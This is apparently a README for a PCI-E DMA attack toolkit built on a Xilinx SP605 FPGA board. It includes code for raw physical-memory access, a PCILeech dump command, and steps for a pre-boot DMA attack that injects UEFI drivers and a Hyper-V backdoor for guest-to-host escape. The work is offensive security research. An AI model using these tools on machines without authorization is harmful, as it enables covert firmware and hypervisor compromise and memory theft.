This repository contains a set of tools and proof of concepts related to PCI-E bus and DMA attacks. It includes HDL design which implements software controllable PCI-E gen 1.1 endpoint device for Xilinx SP605 Evaluation Kit with Spartan-6 FPGA. In comparison with popular USB3380EVB this design allows to operate with raw Transaction Level Packets (TLP) of PCI-E bus and perform full 64-bit memory read/write operations. It's early version of my first much or less complicated FPGA project, so the speed is quite slow (around 1-2 Mb/s), but in upcoming releases it will be significantly increased by connecting PCI-E endpoint to MicroBlaze soft processor with AXI DMA engine. However, even such low speed is more than enough for reliable implementation of various practical attacks over PCI-E bus: to demonstrate applied use cases of the design, there's a tool for pre-boot DMA attacks on UEFI based machines which allow executing arbitrary UEFI DXE drivers during platform init. Another example shows how to use pre-boot DMA attacks to inject Hyper-V VM exit handler backdoor into the virtualization-based security enabled Windows 10 Enterprise running on UEFI Secure Boot enabled platform. Provided Hyper-V backdoor PoC might be useful for reverse engineering and exploit development purposes, it provides an interface for inspecting of hypervisor state (VMCS, physical/virtual memory, registers, etc.) from guest partition and perform the guest to host VM escape attacks.

Ready to use FPGA bitstream files s6_pcie_microblaze.mcs
and s6_pcie_microblaze.bin
can be downloaded here.
Xilinx UG526 document also known as SP605 Hardware User Guide is your best friend if you want to know more details about usage and configuration of this nice board.
-
To load bitstream from onboard SPI flash chip you need to configure SP605 by turning
SW1
switches into the 1-ON, 2-OFF position. -
Now you have to write FPGA bitstream into the SPI flash. Use
s6_pcie_microblaze.mcs
file if you want to do it over JTAG with the help of Xilinx iMPACT utility (see this tutorial), ors6_pcie_microblaze.bin
if you're going to use external SPI programmer connected toJ17
header of SP605 (which is the most faster and convenient way).
In case of flashrom compatible external SPI programmer you can use flash_to_spi.py
program as a flashrom wrapper:
# ./flash_to_spi.py s6_pcie_microblaze.bin
Using region: "main".
Calibrating delay loop... OK.
Found Winbond flash chip "W25Q64.V" (8192 kB, SPI) on linux_spi.
Reading old flash chip contents... done.
Erasing and writing flash chip...
Warning: Chip content is identical to the requested image.
Erase/write done.
- Bitstream which was written into the SPI flash in previous step includes a bootloader for MicroBlaze core (see bootloader.c for more details). This bootloader allows to configure board options and write main program into the linear flash.
To boot MicroBlaze into the update mode you have to disconnect SPI programmer and power up the board holding SW4
pushbutton switch, release SW4
when DS6
LED indicating active update mode turns on.
- To write the main program (see main.c for more details) into the linear flash connect your computer to UART bridge USB port of SP605 and run
bootloaderctl.py
program with--flash

-
Connect SP605 to the PCI-E slot of the target computer and turn the computer on. When PCI-E link was sucessfully established SP605 will fire
DS3
andDS4
LEDs. -
Run
lspci
command on target computer to ensure that it is seeing your board as PCI-E device:
# lspci | grep Xilinx
01:00.0 Ethernet controller: Xilinx Corporation Default PCIe endpoint ID
JTAG related notes: SP605 has onboard USB to JTAG interface compatible with iMPACT and others Xilinx tools. However, it's not very good so if you're planning to use onboard JTAG to program SPI flash like it was described in Xilinx tutorial you have to do the following things:
-
Remove any hardware connected to the FMC slot of SP605 while working with JTAG.
-
In Xilinx iMPACT settings configure JTAG interface to use 750 KHz speed (on more higher speed it works unstable).
Xilinx SP605 board is also can be connected to the Thunderbolt 2/3 external port of the target computer using Thunderbolt to PCI-E expansion chassis. Please note, that SP605 is relatively large board so it might not fit into some of the chassis. For example, I'm using HighPoint RocketStor 6361A Thunderbolt 2 enclosure which works fine with my MacBook Pro:
Python tools to interact with the board and tiny implementation of PCI-E link layer are located in python
folder. Because main MicroBlaze program uses TCP to transfer TLP packets no any drivers or 3rd party dependencies needed, you can use provided Python code on any operating system.
To set up target board IP address and port edit PCIE_TO_TCP_ADDR
variable in python/pcie_lib_config.py
file.

PCILeech is a powerful DMA attack software developed by @UlfFrisk, at this moment it supports Xilinx SP605 in USB 3 mode with custom bitstream and TCP mode with MicroBlaze based bitstream located in this repository. To use PCILeech with MicroBlaze based design you need to pass SP605_TCP
value for -device
option and specify device address with -device-addr
and -device-port
options.
Example:
> pcileech.exe dump -device sp605_tcp -device-addr 192.168.2.247 -device-port 28472 -max 0x1000
Python library pcie_lib.py
provides low level API to send and receive PCE-E TLP requests, abstractions for different TLP types and high level physical memory access API.
The following program demonstrates how to work with raw TLPs using pcie_lib:
from pcie_lib import *
#
# Open PCI-E device, optional addr parameter overrides value specified in pcie_lib_config.py
# file or TARGET_ADDR environment variable
#
dev = TransactionLayer(addr = ( '192.168.2.247', 28472 ))
# get bus:device.function address of our PCI-E endpoint
bus_id = dev.get_bus_id()
#
# MRd TLP request which reads 1 dword of memory at address 0x1000
#
tlp_tx = [ 0x20000001, # TLP type and data size
0x000000ff | (bus_id << 16), # requester ID
0x00000000, # high dword of physical memory address
0x00001000 ] # low dword of physical memory address
# send TLP
dev.write(tlp_tx)
# receive root complex reply
tlp_rx = dev.read(raw = True)
# prints 4a000001 00000004 01000000 00000000
print('%.8x %.8x %.8x %.8x' % tuple(tlp_rx))
# check for CplD TLP format and type
assert (tlp_rx[0] >> 24) & 0xff == 0x4a
# print readed dword
print('%.8x' % tlp_rx[3])
dev.close()
Working with TLPs using more convenient high level abstractions:
# MRd TLP request which reads 1 dword of memory at address 0x1000
tlp_tx = dev.PacketMRd64(dev.bus_id, 0x1000, 4)
# send TLP
dev.write(tlp_tx)
# receive root complex reply
tlp_rx = dev.read()
# check for CplD TLP
assert isinstance(tlp_rx, dev.PacketCplD)
# print readed dword
print('%.8x' % tlp_rx.data[0])
Accessing physical memory:
# write bytes to memory
dev.mem_write(0x1000, '\xAA' * 0x10)
# write single qword/dword/word/byte to memory
dev.mem_write_8(0x1000, 0)
dev.mem_write_4(0x1000, 0)
dev.mem_write_2(0x1000, 0)
dev.mem_write_1(0x1000, 0)
# read bytes from memory
print(repr(dev.mem_read(0x1000, 0x10)))
# read single qword/dword/word/byte from memory
print('%.16x' % dev.mem_read_8(0x1000))
print('%.8x' % dev.mem_read_4(0x1000))
print('%.4x' % dev.mem_read_2(0x1000))
print('%.2x' % dev.mem_read_1(0x1000))
Python program uefi_backdoor_simple.py
injects dummy UEFI DXE driver located in payloads/DmaBackdoorSimple
into the target using preboot DMA attack. It's usage:
-
Boot the MicroBlaze and connect SP605 to PCI-E port of target computer and Ethernet network.
-
Run the following command:
$ ./uefi_backdoor_simple.py payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi
- Power on the target computer, in case of successful attack in couple of seconds you will see debug messages screen of injected UEFI driver.

Also, backdoor_client.exe
can inject dummy driver located in payloads/DmaBackdoorHv/backdoor_driver.sys
from guest Hyper-V partition to host Hyper-V partition:
PCI Express is very complicated high speed bus so there's a lot of things that can go wrong. If DMA attack is not working on your setup you might check the following things to determine the exact problem:
-
DS3
LED is on when physical PCI-E link is up andDS4
is on when root complex had assigned bus:device.function address to our PCI-E endpoint. IfDS3
is off it likely means physical connectivity issue − check your risers, cables, etc. IfDS3
is on butDS4
is off it means that you had to reboot your attack target or force PCI-E devices rescan on it's side. -
DS5
LED is on during PCI-E bus reset, when it always on it means physical connectivity issue. -
If root complex sends Cpl TLP instead of CplD TLP in reply to memory read request it means that memory access was rejected because of invalid address or IOMMU enforced access cheks. Also typical x86 machine might not reply at all on memory read requests to some certain physical address space regions.
-
If software receiving inconsistent or invalid TLPs from root complex in reply to memory read requests you might try to set a smaller value of
MEM_RD_TLP_LEN
constant inpcie_lib.py
to split reply data into more smaller chunks. Also it's useful to run the program withDEBUG_TLP=1
environment variable and check raw TX/RX TLP dump.
-
Install Xilinx ISE 13.4 which comes with your SP605 board and open
s6_pcie_microblaze.xise
project file. -
Regenerate
s6_pcie_v2_4
andfifo_generator_v8_4
cores which presents in project hierarchy. -
Click on
microblaze_i
instance in project hierarchy and run "Export Hardware Design to SDK With Bitstream". -
When build will be completed ISE opens Xilinx Software Development Kit IDE, use
sdk
folder as it's workspace. -
Create new standalone board support package in your Xilinx SDK project tree, choose lwIP and xilflash libraries in BSP configuration.
-
Import
sdk/srec_bootloader_0
andsdk/main_0
projects into the project tree and run the build. -
Run
make_out.sh
(ormake_out.bat
) shell script from Xilinx ISE command prompt to generate needed output files.
-
Use Xilinx AXI DMA core for more fast data transfer between DDR3 memory of MicroBlaze and PCI-E hard IP block.
-
Release DMA to System Management Mode exploit when Intel will fix appropriate vulnerability.
